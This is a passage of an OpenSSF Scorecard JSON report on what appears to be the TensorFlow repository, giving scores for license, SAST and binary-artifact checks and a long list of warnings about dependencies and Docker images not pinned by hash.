policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to 